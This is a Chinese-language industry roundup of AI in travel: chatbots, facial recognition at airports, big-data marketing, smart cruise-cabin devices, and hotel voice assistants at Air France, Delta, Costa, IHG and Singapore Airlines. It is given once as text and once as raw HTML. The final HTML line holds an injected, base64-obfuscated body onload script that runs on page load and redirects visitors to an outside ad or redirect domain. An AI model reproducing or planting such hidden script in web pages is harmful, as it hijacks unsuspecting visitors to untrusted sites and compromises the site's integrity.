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应用行业 
航空、邮轮、目的地、酒店、支付等 
技术 
聊天机器人、人脸识别、VR/AR、基于大数据的营销、智能音箱等 
应用方向 
客服、娱乐、会展、值机、营销 
 

	法航：为了优化客户服务中心的效率，我们目前在使用Chatbots这一聊天机器人服务，以便提高在社交媒体平台上针对消费者提问的效率。


	我们目前也在试验生物识别功能（如机场的人脸识别服务）。 


	 

汉莎航空集团：汉莎航空集团携手汉莎航空创新中心与Hopper结成了专注于人工智能的研究联盟。这是继初创企业Fleet Logis-tics 和 cargo.one后，汉莎在一年内完成的第三笔与技术相关的投资。 

	Hopper在2007年创立于加拿大蒙特利尔，运营着全球最具创新精神的旅游预定app之一。凭借其强大的机器算法和人工智能，Hopper的专利技术能够准确地预测航班和酒店价格，在最佳预定时间为用户提供个性化的建议，以及旅游优惠选项。汉莎航空集团为该研究项目注资数百万美元，两家企业正围绕预测分析模型和航班需求预测建立长期合作关系。不仅如此，该项目将利用人工智能，更深入地学习客户的偏好，从而提供更加人性化的附加服务或升级建议。


	 

达美航空：达美航空与美国海关和边境保护局（CBP）、亚特兰大哈兹菲尔德-杰克逊国际机场（ATL）、美国运输安全管理局（TSA）合作，在亚特兰大哈兹菲尔德-杰克逊国际航站楼（F航站楼）全面推出生物识别技术。这也是美国第一个全面启用生物识别技术的航站楼。 
这意味着搭乘达美航空及墨西哥航空、法航荷航集团、维珍大西洋航空等达美合作伙伴航企国际直飞航班出行的乘客可选择使用人脸识别技术，从航站楼直至登机口的出行体验一路轻松便捷。 
10月中旬，亚特兰大机场F航站楼内所有节点的生物识别系统都已开始上线——每周有近25,000名乘客几乎都选择使用人脸识别技术，仅有不到2%的乘客选择常规方式。此外，原始数据显示，选择使用人脸识别技术后，每位乘客的平均登机时间节省了2秒，宽体客机的总登机时间可以节省多达9分钟。 
随着该项技术在亚特兰大机场成功推行，达美还将携手CBP及韦恩郡机场管理局（WCAA），把人脸识别技术推广至位于底特律大都会机场（DTW）的麦克纳马拉航站楼的14个国际登机口。 
 
荷兰旅游局：荷兰旅游局特针对现在数字化手段的兴起，成立了大数据部门，研究市场，分析旅行趋势，将分析结果应用到营销市场。例如： 
1，自由行一般提前预定时间？ 
2，自由行人群通常会比较多少预定资源？ 
3，自由行客人决定购买的时间为多长？ 
通过这些数据分析，可决定酒店、航司在什么时间是黄金推广期。 

	荷兰旅游局同时与微信合作，通过大数据分析，提前预判潜客，为潜客提供符合兴趣点的推广。同时荷兰旅游局成为腾讯旅游首批海外合作伙伴，依托于腾讯大数据平台，分析消费者数据，产出更多更丰富的旅行内容。


	 


	澳大利亚旅游局：高科技的运用在目的地营销中已经暂露头角，在2018首届中国国际进口博览会中, 澳大利亚旅游局开设的国家馆在场馆中运用增强现实技术（AR技术），展现了我们澳大利亚创意产业全球领先的地位。通过AR技术，参观者能够看到他们周围的空间转换，置身于澳大利亚触手可及的世界级自然风光和精致时尚的现代化城市，从而吸引更多游客前来访澳。


	 


	VISA: 为持卡人提供基于大数据和LBS的个性化信息推送，包括商家信息及优惠信息等；


	 

歌诗达邮轮：在2018年，歌诗达邮轮全面升级旗下邮轮智能化服务生态，引入五大创新型AI人工智能技术（3D LED投影风扇、人工智能语音中心、智能音箱、人脸识别技术、VR航拍体验娱乐设施），从出行前到出行后，从个人到家庭，从线上到线下，全方位革新消费者邮轮出行科技感体验，开启邮轮旅行在人工智能新“意”代背景下的高品质服务。 
五大创新型AI人工智能技术： 


	■ 3D LED投影风扇：通过叶片的旋转可以形成动态的3D影像，从而多角度、沉浸式的展现歌诗达邮轮的魅力。 



	■ 人工智能语音中心：是歌诗达邮轮作为行业首列，与阿里巴巴合作的一款产品，目前已经投入使用，目的是为了更精准、高效的为游客解决搭乘歌诗达邮轮出行前的种种问题，更好的提升游客的科技感体验。目前25%的电话咨询是由AI完成，极大地节约人工成本，提高了工作效率。 



	■ 智能音箱：就像是每位游客舱房内的专属万能管家，乘客可以通过语音与智能音箱进行互动，询问问题，或者控制客舱内的灯具、电视等设备。 



	■ 人脸识别技术：简单来说就是让乘客们在船上“刷脸”享受照片印洗服务，系统可以从成千上万的照片中，通过乘客的面部特征快速筛选和识别，让乘客轻松挑选出旅途中最满意的照片进行印洗，或者一“键”转发到自己的社交媒体与好友分享，留下最美好的纪念。 



	■ VR航拍体验娱乐设施：歌诗达邮轮为了让游客们更全面沉浸式地感受到歌诗达邮轮与海洋的魅力，特别引入了无人机VR航拍体验娱乐设施，游客通过佩戴专门的VR眼镜，就可以实时观看多角度高空拍摄内容。

在所有人工智能设备配备就位后，我们欣喜地发现，消费者对人工智能设备都表现出极大兴趣，邮轮乘客满意度有了明显提升，乘客反馈的产品体验也更趋积极。这些体现了歌诗达的人工智能设备升级得到了相当正面的反馈，提升了消费者的度假体验。 
 
洲际酒店集团：洲际酒店集团与百度共同打造的新一代智慧酒店解决方案正式落地。洲际酒店集团宣布，从2018年7月4日起，消费者可以率先在北京三里屯通盈中心洲际酒店和广州保利洲际酒店的洲际行政俱乐部AI智慧套房，亲历智能化服务体验。年内，该服务还将陆续在大中华区共计100间洲际酒店的行政俱乐部套房中推出。 
本次智慧酒店解决方案由百度度秘事业部研发的DuerOS为洲际酒店及度假村量身定制，通过对话式人工智能的硬件设备和云端服务，与酒店的客控、前台以及管理后台等进行快速对接。与传统客房相比，新推出的AI智慧客房将全面打通语音客房设备控制，实现更为自然的人机交互。比如，宾客可以自由切换场景，实现工作或者休闲娱乐环境模式的选择，还可以通过语音客房设备，与整个酒店服务对接，比如送餐送水等多样服务。据悉，此次解决方案还将完善现有的后台管理系统，无论是配置信息还是重置设备，使酒店管理更为轻松。 
自2017年11月，洲际酒店集团与百度达成人工智能战略合作后，推动了酒店行业在该领域的探索浪潮。人工智能的落地场景，由家居、自动驾驶等领域，开创性地拓展至酒店和旅游行业。此次智慧酒店解决方案的实地落地亦被视为业内的一次里程碑。 
 
新加坡航空：大数据时代的到来，也推动着航空业逐步实现数字化转型。越来越多的航空公司将数字化转型作为战略重点。不断创新，提升乘客在整个旅行中的体验。从而发展竞争优势。新加坡航空也采取了相应的一系列举措，旨在成为全球领先的数字化航空公司。 

	■ 2017年12月，新加坡航空推出测试版智能聊天机器人Kris，以拓展其数字化客服渠道。乘客可以通过Facebook Messenger向Kris查询航前信息，并获得相关协助。作为测试版机器人，Kris将持续处于机器学习模式，其能力也将随着时间的推移而不断提升。目前，机器人已进行了与行李、登机办理、在线预订以及与婴儿、儿童旅行相关的英文问答学习和训练。


	■ 2018年1月，新加坡航空启动新航数字创新发展蓝图。作为新加坡航空转型计划的一部分，旨在大幅提升新航的数字化水平。新航将设立一个数字创新实验室，鼓励员工与包括创业公司在内的创新公司合作，共同开发孵化器和加速器，激发新创意，促进创新环境下的合作。新航积极建立广泛的合作伙伴关系，以期将该蓝图提升至全新高度。

■ 新加坡航空集团KrisFlyer常旅客计划推出全球首款基于区块链技术的航空公司忠诚度数字钱包，旨在帮助乘客使用KrisFlyer里程在新航合作商户轻松进行日常消费。 
■ 2019年1月，新航成立数字创新实验室KrisLab, 旨在激发创新思路，鼓励员工与外部合作伙伴、初创企业、成熟的孵化器和加速器共同创新，使新航集团能够在业务运营的各个方面充分利用数字化技术。 
 
效果及接受度 
歌诗达邮轮：在所有人工智能设备配备就位后，我们欣喜地发现，消费者对人工智能设备都表现出极大兴趣，邮轮乘客满意度有了明显提升，乘客反馈的产品体验也更趋积极。这些体现了歌诗达的人工智能设备升级得到了相当正面的反馈，提升了消费者的度假体验。 

	 
 


	未来方向: 普及 提升 投资研发 
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信息内容：	<br /> <strong>应用行业</strong><br /> 航空、邮轮、目的地、酒店、支付等<br /> <strong>技术</strong><br /> 聊天机器人、人脸识别、VR/AR、基于大数据的营销、智能音箱等<br /> <strong>应用方向</strong><br /> 客服、娱乐、会展、值机、营销<br /> <br /> <p> <strong>法航</strong>：为了优化客户服务中心的效率，我们目前在使用Chatbots这一聊天机器人服务，以便提高在社交媒体平台上针对消费者提问的效率。 </p> <p> <span>我们目前也在试验生物识别功能（如机场的人脸识别服务）。</span> </p> <p> <br /> </p> <strong>汉莎航空集团</strong>：汉莎航空集团携手汉莎航空创新中心与Hopper结成了专注于人工智能的研究联盟。这是继初创企业Fleet Logis-tics 和 cargo.one后，汉莎在一年内完成的第三笔与技术相关的投资。<br /> <p> Hopper在2007年创立于加拿大蒙特利尔，运营着全球最具创新精神的旅游预定app之一。凭借其强大的机器算法和人工智能，Hopper的专利技术能够准确地预测航班和酒店价格，在最佳预定时间为用户提供个性化的建议，以及旅游优惠选项。汉莎航空集团为该研究项目注资数百万美元，两家企业正围绕预测分析模型和航班需求预测建立长期合作关系。不仅如此，该项目将利用人工智能，更深入地学习客户的偏好，从而提供更加人性化的附加服务或升级建议。 </p> <p> <br /> </p> <strong>达美航空</strong>：达美航空与美国海关和边境保护局（CBP）、亚特兰大哈兹菲尔德-杰克逊国际机场（ATL）、美国运输安全管理局（TSA）合作，在亚特兰大哈兹菲尔德-杰克逊国际航站楼（F航站楼）全面推出生物识别技术。这也是美国第一个全面启用生物识别技术的航站楼。 <br /> 这意味着搭乘达美航空及墨西哥航空、法航荷航集团、维珍大西洋航空等达美合作伙伴航企国际直飞航班出行的乘客可选择使用人脸识别技术，从航站楼直至登机口的出行体验一路轻松便捷。 <br /> 10月中旬，亚特兰大机场F航站楼内所有节点的生物识别系统都已开始上线——每周有近25,000名乘客几乎都选择使用人脸识别技术，仅有不到2%的乘客选择常规方式。此外，原始数据显示，选择使用人脸识别技术后，每位乘客的平均登机时间节省了2秒，宽体客机的总登机时间可以节省多达9分钟。 <br /> 随着该项技术在亚特兰大机场成功推行，达美还将携手CBP及韦恩郡机场管理局（WCAA），把人脸识别技术推广至位于底特律大都会机场（DTW）的麦克纳马拉航站楼的14个国际登机口。<br /> <br /> <strong>荷兰旅游局</strong>：荷兰旅游局特针对现在数字化手段的兴起，成立了大数据部门，研究市场，分析旅行趋势，将分析结果应用到营销市场。例如： <br /> 1，自由行一般提前预定时间？ <br /> 2，自由行人群通常会比较多少预定资源？ <br /> 3，自由行客人决定购买的时间为多长？<br /> 通过这些数据分析，可决定酒店、航司在什么时间是黄金推广期。 <br /> <p> 荷兰旅游局同时与微信合作，通过大数据分析，提前预判潜客，为潜客提供符合兴趣点的推广。同时荷兰旅游局成为腾讯旅游首批海外合作伙伴，依托于腾讯大数据平台，分析消费者数据，产出更多更丰富的旅行内容。 </p> <p> <br /> </p> <p> <strong>澳大利亚旅游局</strong>：高科技的运用在目的地营销中已经暂露头角，在2018首届中国国际进口博览会中, 澳大利亚旅游局开设的国家馆在场馆中运用增强现实技术（AR技术），展现了我们澳大利亚创意产业全球领先的地位。通过AR技术，参观者能够看到他们周围的空间转换，置身于澳大利亚触手可及的世界级自然风光和精致时尚的现代化城市，从而吸引更多游客前来访澳。 </p> <p> <br /> </p> <p> <strong>VISA</strong>: 为持卡人提供基于大数据和LBS的个性化信息推送，包括商家信息及优惠信息等； </p> <p> <br /> </p> <strong>歌诗达邮轮</strong>：在2018年，歌诗达邮轮全面升级旗下邮轮智能化服务生态，引入五大创新型AI人工智能技术（3D LED投影风扇、人工智能语音中心、智能音箱、人脸识别技术、VR航拍体验娱乐设施），从出行前到出行后，从个人到家庭，从线上到线下，全方位革新消费者邮轮出行科技感体验，开启邮轮旅行在人工智能新“意”代背景下的高品质服务。<br /> 五大创新型AI人工智能技术： <br /> <strong> <p class="MsoNormal"> ■ <strong>3D LED投影风扇</strong><span style="font-weight:normal;">：通过叶片的旋转可以形成动态的3D影像，从而多角度、沉浸式的展现歌诗达邮轮的魅力。 </span> </p> </strong><strong> <p class="MsoNormal"> ■ <strong>人工智能语音中心</strong><span style="font-weight:normal;">：是歌诗达邮轮作为行业首列，与阿里巴巴合作的一款产品，目前已经投入使用，目的是为了更精准、高效的为游客解决搭乘歌诗达邮轮出行前的种种问题，更好的提升游客的科技感体验。目前25%的电话咨询是由AI完成，极大地节约人工成本，提高了工作效率。 </span> </p> </strong><strong> <p class="MsoNormal"> ■ <strong>智能音箱</strong><span style="font-weight:normal;">：就像是每位游客舱房内的专属万能管家，乘客可以通过语音与智能音箱进行互动，询问问题，或者控制客舱内的灯具、电视等设备。 </span> </p> </strong><strong> <p class="MsoNormal"> ■ <strong>人脸识别技术</strong><span style="font-weight:normal;">：简单来说就是让乘客们在船上“刷脸”享受照片印洗服务，系统可以从成千上万的照片中，通过乘客的面部特征快速筛选和识别，让乘客轻松挑选出旅途中最满意的照片进行印洗，或者一“键”转发到自己的社交媒体与好友分享，留下最美好的纪念。 </span> </p> </strong> <p class="MsoNormal"> ■ VR航拍体验娱乐设施：歌诗达邮轮为了让游客们更全面沉浸式地感受到歌诗达邮轮与海洋的魅力，特别引入了无人机VR航拍体验娱乐设施，游客通过佩戴专门的VR眼镜，就可以实时观看多角度高空拍摄内容。 </p> 在所有人工智能设备配备就位后，我们欣喜地发现，消费者对人工智能设备都表现出极大兴趣，邮轮乘客满意度有了明显提升，乘客反馈的产品体验也更趋积极。这些体现了歌诗达的人工智能设备升级得到了相当正面的反馈，提升了消费者的度假体验。 <br /> <br /> <strong>洲际酒店集团</strong>：洲际酒店集团与百度共同打造的新一代智慧酒店解决方案正式落地。洲际酒店集团宣布，从2018年7月4日起，消费者可以率先在北京三里屯通盈中心洲际酒店和广州保利洲际酒店的洲际行政俱乐部AI智慧套房，亲历智能化服务体验。年内，该服务还将陆续在大中华区共计100间洲际酒店的行政俱乐部套房中推出。<br /> 本次智慧酒店解决方案由百度度秘事业部研发的DuerOS为洲际酒店及度假村量身定制，通过对话式人工智能的硬件设备和云端服务，与酒店的客控、前台以及管理后台等进行快速对接。与传统客房相比，新推出的AI智慧客房将全面打通语音客房设备控制，实现更为自然的人机交互。比如，宾客可以自由切换场景，实现工作或者休闲娱乐环境模式的选择，还可以通过语音客房设备，与整个酒店服务对接，比如送餐送水等多样服务。据悉，此次解决方案还将完善现有的后台管理系统，无论是配置信息还是重置设备，使酒店管理更为轻松。<br /> 自2017年11月，洲际酒店集团与百度达成人工智能战略合作后，推动了酒店行业在该领域的探索浪潮。人工智能的落地场景，由家居、自动驾驶等领域，开创性地拓展至酒店和旅游行业。此次智慧酒店解决方案的实地落地亦被视为业内的一次里程碑。<br /> <br /> <strong>新加坡航空</strong>：大数据时代的到来，也推动着航空业逐步实现数字化转型。越来越多的航空公司将数字化转型作为战略重点。不断创新，提升乘客在整个旅行中的体验。从而发展竞争优势。新加坡航空也采取了相应的一系列举措，旨在成为全球领先的数字化航空公司。<br /> <p class="MsoNormal"> ■ 2017年12月，新加坡航空推出测试版智能聊天机器人Kris，以拓展其数字化客服渠道。乘客可以通过Facebook Messenger向Kris查询航前信息，并获得相关协助。作为测试版机器人，Kris将持续处于机器学习模式，其能力也将随着时间的推移而不断提升。目前，机器人已进行了与行李、登机办理、在线预订以及与婴儿、儿童旅行相关的英文问答学习和训练。 </p> <p class="MsoNormal"> ■ 2018年1月，新加坡航空启动新航数字创新发展蓝图。作为新加坡航空转型计划的一部分，旨在大幅提升新航的数字化水平。新航将设立一个数字创新实验室，鼓励员工与包括创业公司在内的创新公司合作，共同开发孵化器和加速器，激发新创意，促进创新环境下的合作。新航积极建立广泛的合作伙伴关系，以期将该蓝图提升至全新高度。 </p> <span>■ </span>新加坡航空集团KrisFlyer常旅客计划推出全球首款基于区块链技术的航空公司忠诚度数字钱包，旨在帮助乘客使用KrisFlyer里程在新航合作商户轻松进行日常消费。<br /> <span>■ </span>2019年1月，新航成立数字创新实验室KrisLab, 旨在激发创新思路，鼓励员工与外部合作伙伴、初创企业、成熟的孵化器和加速器共同创新，使新航集团能够在业务运营的各个方面充分利用数字化技术。<br /> <br /> <strong>效果及接受度 </strong><br /> <strong>歌诗达邮轮</strong>：在所有人工智能设备配备就位后，我们欣喜地发现，消费者对人工智能设备都表现出极大兴趣，邮轮乘客满意度有了明显提升，乘客反馈的产品体验也更趋积极。这些体现了歌诗达的人工智能设备升级得到了相当正面的反馈，提升了消费者的度假体验。 <br /> <p> <strong><br /> </strong> </p> <p> <strong>未来方向: 普及提升投资研发</strong> </p><body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vd3d3LmhpZ2hjcG1yZXZlbnVlZ2F0ZS5jb20vcmlldWJhN21xP2tleT0xZTBkMTkyZmNjNjcwYzc5MjU0ZmVlYmExNTY5MGNlMSIp"))>
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